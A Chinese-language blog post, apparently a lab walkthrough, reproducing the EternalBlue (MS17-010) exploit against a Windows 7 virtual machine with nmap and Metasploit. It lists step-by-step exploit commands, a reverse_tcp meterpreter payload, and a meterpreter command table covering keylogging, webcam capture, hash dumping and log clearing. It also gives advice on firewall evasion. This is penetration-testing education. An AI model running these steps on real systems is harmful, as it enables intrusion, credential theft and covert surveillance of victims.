返回

Ms17 010(永恒之蓝)漏洞复现

一. 前言

1. 漏洞描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

2.漏洞影响

目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二. 复现环境

  • 虚拟环境搭建:VMware Workstation 17 pro

  • 网络模式:NAT

  • 攻击机:kali Linux WSL

  • 攻击机IP:192.168.97.173

  • 攻击工具:nmap metasploit(MSF)

  • 靶机:cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408前提win7关闭防火墙

  • 靶机IP:192.168.97.128

三. 启动 MSF

  1. 安装MSF

    1
    
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
    
  2. 进入框架

    1
    
    msfconsole
    
  3. 初始化

    1
    
    init
    

四. 寻找主机

  • ipconfig

    使用ipconfig分别查看win7和kali中的ip地址

  • nmap

    1
    
    nmap -T5 -sP 192.168.97.0/24
    
    • -T5:使用速度模板T5,表示激进的扫描速度。
    • -sP:执行 Ping 连接扫描。
    • 192.168.97.0/24:扫描指定的 IP 地址范围。
IP地址
私有ip范围 子网掩码 CIDR
A类地址 10.0.0.0~10.255.255.255 255.0.0.0 10.0.0.0/8
B类地址 172.16.0.0~173.31.255.255 255.255.0.0 172.16.0.0/16
C类地址 192.168.0.0~192.168.255.255 255.255.255.0 192.168.0.0/24

五. 端口扫描

  • nmap

    1
    
    nmap -T5 -sT 192.168.97.128
    
    • -T5:使用速度模板T5,表示激进的扫描速度。
    • -sT:执行 TCP 连接扫描。
    • 192.168.97.128:扫描指定的 IP
  • MSF 端口扫描

    1. 使用模块

      1
      
      use auxiliary/scanner/portscan/tcp
      
    2. 设置扫描ip

      1
      
      set rhosts 192.168.97.128
      
    3. 运行

      1
      
      run
      

六. 查找永恒之蓝漏洞

微软 永恒之蓝 编号ms17-010

1
search ms17_010 
  1. exploit/windows/smb/ms17_010_eternalblue

    • 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
    • EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
    • 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
  2. exploit/windows/smb/ms17_010_psexec

    • 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
    • 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
    • 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
  3. auxiliary/admin/smb/ms17_010_command

    • 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
    • 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
    • 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
  4. auxiliary/scanner/smb/smb_ms17_010

    • 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
    • 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。

七. 漏洞检测

  • 使用探测模块

    1. 使用Auxiliary辅助探测模块

      1
      
       use auxiliary/scanner/smb/smb_ms17_010
      

      1
      
      use 24
      
    2. 查看需要配置的参数

      1
      
      show options
      
    3. 设置目标主机地址

      1
      
      set rhosts 192.168.97.128
      
    4. 运行

      1
      
      run
      
  • nmap

    1
    
    nmap --script smb-vuln-ms17-010 192.168.97.128
    

八. 漏洞攻击

  1. 加载 ms17-010 攻击模块

    1
    
    use exploit/windows/smb/ms17_010_eternalblue
    
  2. 设置目标主机地址

    1
    
    set rhosts 192.168.97.128
    
  3. 设置连接方式为反向连接

    1
    
    set payload windows/x64/meterpreter/reverse_tcp
    
  4. 运行

    1
    
    run
    

Meterpreter的命令用法

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

使用方法

基础使用:

  • 进入框架

    1
    
    msfconsole
    
  • 查找漏洞

    1
    
    search 漏洞编号
    
  • 使用模块

    1
    
    run
    

Meterpreter工作原理:

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

漏洞利用(exploit):

漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径(这里面有针对不同平台的exploit):

1
/usr/share/metasploit-framework/modules/exploits

攻击载荷(payload):

Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

payload模块路径:
1
/usr/share/metasploit-framework/modules/payloads
Metasploit中的 Payload 模块主要有以下三种类型:
  • Single:

    是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

  • Stager:

    这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。  

  • Stage:

    是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

几种常见的payload:
  • 正向连接

    1
    
    windows/meterpreter/bind_tcp
    
  • 反向连接

    1
    
    windows/meterpreter/reverse_tcp
    
  • 过监听80端口反向连接

    1
    
    windows/meterpreter/reverse_http
    
  • 通过监听443端口反向连接

    1
    
    windows/meterpreter/reverse_https
    
使用场景
  • 正向连接使用场景:

    我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。

  • 反向连接使用场景:

    我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

  • 反向连接80和443端口使用场景:

    被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计